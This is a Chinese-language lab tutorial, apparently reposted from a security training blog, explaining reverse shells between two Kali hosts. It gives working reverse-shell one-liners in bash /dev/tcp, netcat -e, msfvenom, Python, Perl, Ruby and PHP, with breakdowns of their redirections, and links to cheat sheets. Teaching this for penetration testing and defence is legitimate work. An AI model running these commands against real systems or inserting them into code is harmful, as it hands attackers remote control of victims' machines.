反弹shell

Dear 丶 2021-12-10 02:34 438阅读 0赞

1. 关于反弹shell

就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。

2. 反弹shell的原因

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面，web服务，ssh，telnet等等，都是正向连接。那么什么情况下正向连接不太好用了呢？

1）某客户机中了你的网马，但是它在局域网内，你直接连接不了。

2）它的ip会动态改变，你不能持续控制。

3）由于防火墙等限制，对方机器只能发送请求，不能接收请求。

4）对于病毒，木马，受害者什么时候能中招，对方的网络环境是什么样的，什么时候开关机，都是未知，所以建立一个服务端，让恶意程序主动连接，才是上策。

那么反弹就很好理解了，攻击者指定服务端，受害者主机主动连接攻击者的服务端程序，就叫反弹连接。

实验目的

通过该实验了解反弹shell的原理及各种方式的实现。

实验环境

Kali两台

hostA:10.1.1.100

hostB:10.1.1.101

实验步骤一

反弹shell是外网渗透的最后一步，也是内网渗透的第一步，本次实验不针对具体的某次渗透过程，重点在于针对反弹shell常见下的功能实现以及原理理解。

先来看两台机器ip

攻击机（称主机A）

![763b65b6-be5c-45d5-af54-146794c13d57.png][]

靶机（称主机B）

![9939766f-0b14-4d13-b74b-408e13f715b4.png][]

bash直接反弹

在主机A使用nc监听 ，命令：nc -lvvp 123

![f312c81b-ee70-45c5-9ef6-5466deab51d0.png][]

在主机B上使用bash直接反弹，命令：bash -i >& /dev/tcp/10.1.1.100/123 0>&1

![b8642f9c-d090-4e91-ac9a-480577fa1183.png][]

此时主机A收到shell了

![5f4df8d7-06aa-43a4-8c58-7a1d15c47697.png][]

这种方式是完全从原理出发，而且涉及到linux的一些本质知识点，所以展开来具体说一下。

关键点在主机B上执行的那一句话。

1. Bash –I 即产生一个bash交互环境

2. >&

1）当>&后面接文件时，表示将标准输出和标准错误输出重定向至文件

2）当>&后面接文件描述符时，表示将前面的文件描述符重定向至后面的文件描述符

3. /dev/tcp/10.1.1.100/123 让主机B与主机A（10.1.1.100）进行tcp连接，端口为123（注：linux下所有内容都以文件形式组织存在，所以看到/dev/tcp不用感到奇怪，它是Linux中的一个特殊设备,打开这个文件就相当于进行了一个socket调用，建立一个socket连接）

>& 后面接 /dev/tcp/ip/port，根据3的注释和2的注释1)部分可知，意思为将标准输出和标准错误输出重定向到这个文件，重定向到socket连接的远程主机A上，此时如果主机A正在监听相应的端口，就会收到主机B的bash的标准输出和标准错误输出

4. 0>&1 将标准输入重定向到标准输出，而标准输出在之前已经重定向到主机A了，添加这一部分是因为如果没有这一部分，在主机A上只能接收输出，而无法输入，或者说无法交互，添加上这一部分后，在主机A看来，就相当于拿到了主机B的shell

（注：0 - stdin 代表标准输入,使用<或<<

1 - stdout 代表标准输出,使用>或>>

2 - stderr 代表标准错误输出,使用2>或2>>）

根据分析我们可以修改一下这句话，看看是否如我们分析的这样

1）将0>&1修改为0>&2

同样现在主机A开启监听，命令：nc -lvvp 123

![e47bffa5-caa9-4125-b5eb-dbae250109c3.png][]

主机B修改后执行，命令：bash -i >& /dev/tcp/10.1.1.100/123 0>&2

![1fe9440d-ec0f-4e8b-84fc-cf83cead1a58.png][]

主机A同样的效果

![1f196202-a72a-42ce-a54c-99927081aab1.png][]

2）不添加 0>&2

主机A连接，命令：nc -lvvp 123

![c7acb9b4-e6f1-4d16-8349-7e4604e41b32.png][]

主机B修改后运行，命令：bash -i >& /dev/tcp/10.1.1.100/123

![5e97e480-f7d0-41e9-bed5-a457a6a8ddbc.png][]

主机A同样建立了连接，但是输入命令是没有效果的

![53238c67-edff-4f82-b032-6b1f036cb3a3.png][]

在主机B中输入命令时，主机B没有回显，回显出现在主机A上，命令执行后的回显也是在主机A上

![d83ba093-5d87-4abb-b9bf-002ea2abf08e.png][]

这正好说明了缺失第4部分的内容时，主机A只能标准输出和标准错误输出，没有标准输入，这一部分的知识点非常重要，好好理解。

实验步骤二

### 利用nc ###

主机A开启监听，命令：nc -lvvp 1234

![75bdedd7-9025-4d69-95c1-8ad561bcce5d.png][]

主机B反弹一句话，命令：nc 10.1.1.100 1234 -t -e /bin/bash

![31d165ed-9ff3-4d11-be0a-367b8c60b2ab.png][]

命令的意思是：使用nc命令直接建立一个tcp 1234 的会话连接，然后将本地的bash通过这个会话连接反弹给目标主机

此时反弹成功

![e2b86a8f-7538-4a0f-a297-9923253a4742.png][]

**利用msfvenom**

在主机A上使用msfvenom –l进行搜索相关payload

![2bd7774c-f3e9-4a26-a9f3-fb15c6a33ed4.png][]

结合关键字进行过滤，优化搜索结果

本次要用到的是反弹shell相关的payload，所以关键字为'cmd/unix/reverse',配合grep进行匹配即可

则输入如下命令：msfvenom -l payloads | grep 'cmd/unix/reverse'

![9bcd491d-7f1d-4423-a89a-57454471cc51.png][]

从结果中可以看到有许多实现的方式，包括lua、nodej、perl等，为什么会有这么多方式呢?这是为了适应不同靶机的需求，可能目标靶机上只有perl的执行环境，那么就可以使用perl实现的反弹shell的payload，如果靶机上只有python的环境，那么就使用python实现的payload，此处以python为例。选定payload后，设置后本机的ip和监听的端口

命令：msfvenom -p cmd/unix/reverse\_python lhost=10.1.1.100 lport=1234

![e3cc973c-ffaf-44ca-8f43-71e6592eee62.png][]

然后主机A上启动nc进行监听

![e8ff1fc4-a03d-4de6-bd53-f47b1250292b.png][]

切换到主机B，在终端输入msfvenom给出的payload

![c326ee6b-f6bc-4c53-927a-0b1182c56de5.png][]

回车执行，即可在主机A上收到反弹的shell

![c2121e23-a3d7-42a3-8504-291e76944908.png][]

事实上，这部分的payload解码后就是python的一段脚本

![e420af88-c309-46f4-a612-6a2d3f65413e.png][]

具体语言的反弹shell功能的实现会在下一部分提及

实验步骤三

**具体语言实现**

先看python的

还是现在主机A上监听,命令nc -lvvp 123

![93351de4-bc9e-4ba9-9cb9-12362ae3128f.png][]

然后主机B上执行python，命令python -c "import os,socket,subprocess;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(('10.1.1.100',123)) ;os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\['/bin/bash','-i'\])"

![ae8eed1f-a384-48c3-8621-e07ceccf8586.png][]

此时在主机A上就收到反弹shell了

![a001bf8e-73cc-46c5-935f-cca87627c6a7.png][]

我们分析下这段脚本的内容

s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(('192.168.0.105',123)) 建立socket连接

os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); 使用了os模块的dup2函数和socket模块的fileno函数

fileno函数：返回套接字的文件描述符fd，如果从shell中运行一个进程，默认会有3个文件描述符存在(0、１、2), 0与进程的标准输入相关联，１与进程的标准输出相关联，2与进程的标准错误输出相关联。

Dup2函数：dup2传入两个文件描述符，f1和f2（f1是必须存在的），如果f2存在，就关闭f2，然后将f1代表的那个文件强行复制给f2，f2这个文件描述符不会发生变化，但是fd2指向的文件就变成了f1指向的文件。这个函数最大的作用是重定向

这句的代码的作用就是将fd2指向s.fileno(),而fileno（）返回的是建立socket连接返回的文件描述符fd，也就是将将标准输入、标准输出、标准错误输出重定向到远程

p=subprocess.call(\['/bin/bash','-i'\]) 使用subprocess在本地开启子进程，同时传入“i“使得bash以交互模式启动

经过以上代码的功能整合，在主机A就相当于接收到了主机B的shell

其他语言的实现也是同样的道理，关键的点都在于建立socket连接以及之后的交互实现

1）perl语言的

perl -e 'use Socket;$i="192.168.0.105";$p=123;socket(S,PF\_INET,SOCK\_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr\_in($p,inet\_aton($i))))\{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");\};'

![850dc845-3f8c-4fde-bd49-7769546bd22b.png][]

![15aa5298-afe1-47f0-8a6c-7b42edb8db86.png][]

2）ruby语言的

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.105","123");while(cmd=c.gets);IO.popen(cmd,"r")\{|io|c.print io.read\}end'

![82e80cca-88cc-4f59-a039-257845b616cf.png][]

![22470cc4-d70b-48fb-9be3-05e670dbace5.png][]

3）php语言

最简单的是利用php的exec函数直接执行第一部分的那条bash反弹的命令，不过更常见的是这条命令

php -r '$sock=fsockopen("192.168.0.5",123);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

3代表fsockopen函数建立socket连接后返回的文件描述符，在exec函数中进行重定向，其中的0，1，2分别是前面提到的标准输入、标准输出、标准错误输出。原理与前面分析的一致。

![7b8b6555-6d03-435b-bb63-7d67714cf1e4.png][]

![bf1d873a-cff8-4805-8e62-0f7e7348f214.png][]

1.反弹shell各种姿势的备忘录[http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet][http_pentestmonkey.net_cheat-sheet_shells_reverse-shell-cheat-sheet]

2.其他姿势，请自行学习[https://klionsec.github.io/2016/09/27/revese-shell/][https_klionsec.github.io_2016_09_27_revese-shell]

参考自合天实验室

转载于:https://www.cnblogs.com/threesoil/p/10958126.html

[763b65b6-be5c-45d5-af54-146794c13d57.png]: /images/20211209/5c6b97da901946cf9e9bb7cece22611c.png
[9939766f-0b14-4d13-b74b-408e13f715b4.png]: /images/20211209/e6ba59a8c0f641f88a07c910950ead38.png
[f312c81b-ee70-45c5-9ef6-5466deab51d0.png]: /images/20211209/e33cc91246d84d27a13e0f7827dc7201.png
[b8642f9c-d090-4e91-ac9a-480577fa1183.png]: /images/20211209/072cce86ff844cc3a962de7e67070add.png
[5f4df8d7-06aa-43a4-8c58-7a1d15c47697.png]: /images/20211209/52a8495c77ec4d7f9a9c3b5ad6a79823.png
[e47bffa5-caa9-4125-b5eb-dbae250109c3.png]: /images/20211209/7d7ff8a72af94789818e5ede22203bd8.png
[1fe9440d-ec0f-4e8b-84fc-cf83cead1a58.png]: /images/20211209/ccb99c99de5b492eba680640f15cbe98.png
[1f196202-a72a-42ce-a54c-99927081aab1.png]: /images/20211209/5965e6658d20438ca72ba82f1f786baa.png
[c7acb9b4-e6f1-4d16-8349-7e4604e41b32.png]: /images/20211209/03e4ba6c28c34f058c413124ca36c8f6.png
[5e97e480-f7d0-41e9-bed5-a457a6a8ddbc.png]: /images/20211209/ad1b6301653d4804ab7241eab6ba3c33.png
[53238c67-edff-4f82-b032-6b1f036cb3a3.png]: /images/20211209/e64a6eea726e4b2abc90d29092b63ba2.png
[d83ba093-5d87-4abb-b9bf-002ea2abf08e.png]: /images/20211209/d87ef455d4764a069100d3641d1e4e6d.png
[75bdedd7-9025-4d69-95c1-8ad561bcce5d.png]: /images/20211209/c73358e979d3465c8af45e2910654195.png
[31d165ed-9ff3-4d11-be0a-367b8c60b2ab.png]: /images/20211209/a169900eddd04d1e9aa282888fce83b7.png
[e2b86a8f-7538-4a0f-a297-9923253a4742.png]: /images/20211209/6c26afda741649eba047dc1ca81f0f17.png
[2bd7774c-f3e9-4a26-a9f3-fb15c6a33ed4.png]: /images/20211209/673b3143a42b4b629d359d7bec6c8aa7.png
[9bcd491d-7f1d-4423-a89a-57454471cc51.png]: /images/20211209/ade66481565442f0be23c3093976e3fd.png
[e3cc973c-ffaf-44ca-8f43-71e6592eee62.png]: /images/20211209/fa8d324bc34949459590b5c769c5696f.png
[e8ff1fc4-a03d-4de6-bd53-f47b1250292b.png]: /images/20211209/571e7b1650e44604962991ad2c088b00.png
[c326ee6b-f6bc-4c53-927a-0b1182c56de5.png]: /images/20211209/4efa486e68784d8fb90c87a10a94f630.png
[c2121e23-a3d7-42a3-8504-291e76944908.png]: /images/20211209/4ca56fb062824d3b9f6dadc91f62f60b.png
[e420af88-c309-46f4-a612-6a2d3f65413e.png]: /images/20211209/1cffd593c2504a38915544cdefc39fca.png
[93351de4-bc9e-4ba9-9cb9-12362ae3128f.png]: /images/20211209/8d9d0c2e51a24be1b72470901a1a6c1d.png
[ae8eed1f-a384-48c3-8621-e07ceccf8586.png]: /images/20211209/4fabe4f1a5094d89b2ef818b9ea01438.png
[a001bf8e-73cc-46c5-935f-cca87627c6a7.png]: /images/20211209/f1e7cb5c9787414dab3940afcdde2e14.png
[850dc845-3f8c-4fde-bd49-7769546bd22b.png]: /images/20211209/6e967806bb9d4b4fa01d430f9d91aa7d.png
[15aa5298-afe1-47f0-8a6c-7b42edb8db86.png]: /images/20211209/bf70386e0ee34687902cca0b5d53a189.png
[82e80cca-88cc-4f59-a039-257845b616cf.png]: /images/20211209/babccac678ea4d2394bdbf5547af2561.png
[22470cc4-d70b-48fb-9be3-05e670dbace5.png]: /images/20211209/e533f8f8191d4e108fe2581f4eb447a7.png
[7b8b6555-6d03-435b-bb63-7d67714cf1e4.png]: /images/20211209/0288a25208874757849cd0a5e597ec59.png
[bf1d873a-cff8-4805-8e62-0f7e7348f214.png]: /images/20211209/095d478e338e485fbcaacb86a8a03187.png
[http_pentestmonkey.net_cheat-sheet_shells_reverse-shell-cheat-sheet]: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
[https_klionsec.github.io_2016_09_27_revese-shell]: https://klionsec.github.io/2016/09/27/revese-shell/